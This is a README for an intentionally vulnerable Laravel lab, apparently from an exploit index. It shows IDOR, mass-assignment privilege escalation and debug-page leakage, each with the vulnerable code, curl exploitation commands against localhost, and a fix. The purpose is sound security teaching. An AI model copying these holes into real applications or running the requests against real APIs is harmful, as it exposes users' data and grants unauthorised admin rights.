## https://sploitus.com/exploit?id=3B4A9F73-30BD-5F47-BCBD-CEE7814E85CE
# laravel-access-control-lab
A **deliberately vulnerable Laravel application** for learning β and demonstrating β three of
the most common access-control flaws in production Laravel APIs:
1. **IDOR** via route model binding (Broken Object-Level Authorization)
2. **Mass assignment** (privilege escalation through an unexpected field)
3. **Debug leak** (information disclosure via `APP_DEBUG=true`)
> β οΈ **Intentionally insecure application.** Run it **on localhost only** (`127.0.0.1`).
> Never deploy it to a server reachable from the Internet.
This is a teaching lab: you **exploit** each bug, then **fix** it and verify the exploit no
longer works. The scenario is a small **invoices** API β two users, Alice and Bob, each the
owner of their own invoices.
---
## Setup
Requirements: PHP 8.2+, Composer.
```bash
# 1. Fresh Laravel project
composer create-project laravel/laravel access-control-lab
cd access-control-lab
# 2. Wire up the API + Sanctum BEFORE copying our files
# (install:api regenerates routes/api.php, so run it first)
php artisan install:api
# 3. Copy the files from this repo ON TOP of the project:
# app/ routes/ database/ .env.example
# (this repo's routes/api.php replaces the one generated by install:api)
# 4. Configuration
cp .env.example .env
php artisan key:generate
touch database/database.sqlite
# 5. Database + seed data (Alice, Bob, 4 invoices)
php artisan migrate --seed
# 6. Run
php artisan serve # http://127.0.0.1:8000
```
Seeded accounts: `alice@lab.test` / `password` and `bob@lab.test` / `password`.
Automated demo of the three bugs (curl + jq):
```bash
./exploit.sh
```
---
## Bug A β IDOR via route model binding
**Where** : `routes/api.php` + `app/Http/Controllers/InvoiceController.php`
Laravel resolves `{invoice}` to an `Invoice` model from the id in the URL, and the controller
returns it **without checking that the invoice belongs to the authenticated user**.
```php
Route::get('/invoices/{invoice}', [InvoiceController::class, 'show']);
public function show(Invoice $invoice)
{
return $invoice; // no ownership check
}
```
**Exploitation** β Alice (owner of invoices 1 and 2) reads Bob's secret invoice:
```bash
TOKEN=$(curl -s -X POST http://127.0.0.1:8000/api/login \
-H 'Content-Type: application/json' \
-d '{"email":"alice@lab.test","password":"password"}' | jq -r .token)
curl -s http://127.0.0.1:8000/api/invoices/3 -H "Authorization: Bearer $TOKEN" | jq .
# β returns "Client Bob SECRET", 99000.00 β Alice should never see this
```
**Fix** β authorize through a Policy (provided in `app/Policies/InvoicePolicy.php`):
```diff
public function show(Invoice $invoice)
{
+ $this->authorize('view', $invoice); // 403 if $invoice->user_id !== auth()->id()
return $invoice;
}
```
The Policy (`InvoicePolicy::view`) is auto-discovered in Laravel 12. After the fix,
`GET /api/invoices/3` by Alice returns **403**, while `1`/`2` still work.
**Class of bug to eliminate for good** : never return an id-addressed object without an
authorization check. Systematize `authorize()` / `Gate` checks / user-scoped queries
(`->where('user_id', auth()->id())`).
---
## Bug B β Mass assignment (privilege escalation)
**Where** : `app/Models/User.php` (root cause) + `app/Http/Controllers/ProfileController.php` (exploitation)
The `User` model disables all mass-assignment protection, and the profile update writes the
entire request body:
```php
// User.php
protected $guarded = []; // everything is assignable, including is_admin
// ProfileController.php
$user->update($request->all()); // writes whatever the client sends
```
**Exploitation** β Alice makes herself an admin:
```bash
curl -s -X PUT http://127.0.0.1:8000/api/profile \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"name":"Alice","is_admin":true}' | jq '{name, is_admin}'
# β { "name": "Alice", "is_admin": true } β
```
**Fix** β whitelist on the model **and** validation in the controller:
```diff
// User.php
-protected $guarded = [];
+protected $fillable = ['name', 'email', 'password'];
// ProfileController.php
-$user->update($request->all());
+$data = $request->validate([
+ 'name' => ['sometimes', 'string', 'max:255'],
+ 'email' => ['sometimes', 'email'],
+]);
+$user->update($data);
```
After the fix, an `is_admin` field sent by the client is ignored (and `password` can no
longer be changed through this endpoint).
**Class of bug to eliminate for good** : always define an explicit `$fillable` that excludes
privilege/state columns; never pass `$request->all()` to `create()` / `update()` β validate
and pass only the expected fields.
---
## Bug C β Debug leak (`APP_DEBUG=true`)
**Where** : `.env.example` + `routes/web.php`
With `APP_DEBUG=true`, any unhandled exception renders Laravel's detailed error page: full
stack trace, source excerpt, **environment variables** and configuration.
**Exploitation** β an **anonymous** visitor triggers the error:
```bash
curl -s http://127.0.0.1:8000/boom | head -c 400
# open http://127.0.0.1:8000/boom in a browser: trace + env exposed
```
**Fix** β `.env`:
```diff
-APP_DEBUG=true
+APP_DEBUG=false
```
The same error now returns only a generic "Server Error", with no internal detail.
**Class of bug to eliminate for good** : `APP_DEBUG=false` in production (enforced in CI / at
deploy time); handle exceptions and log server-side instead of returning details to the client.
---
## Turning this lab into public evidence
This is the goal of **Module 2** of the training program:
1. Publish this repo on GitHub (it is already self-contained and documented).
2. Write a short blog post covering each bug: Laravel context, exploitation, fix, class to
eliminate β exactly the structure above. A ready draft lives in `docs/writeup.md`.
3. Run **Sentinel** on it (`audit_type: full_with_source`) and compare: which bugs does it
catch, which does it miss? The result feeds both the article and your Sentinel improvement
roadmap.
This repo + the article are your first concrete answer to "provide verifiable evidence of
your findings" and "describe a Laravel access-control bug you found."
## License
MIT β educational material.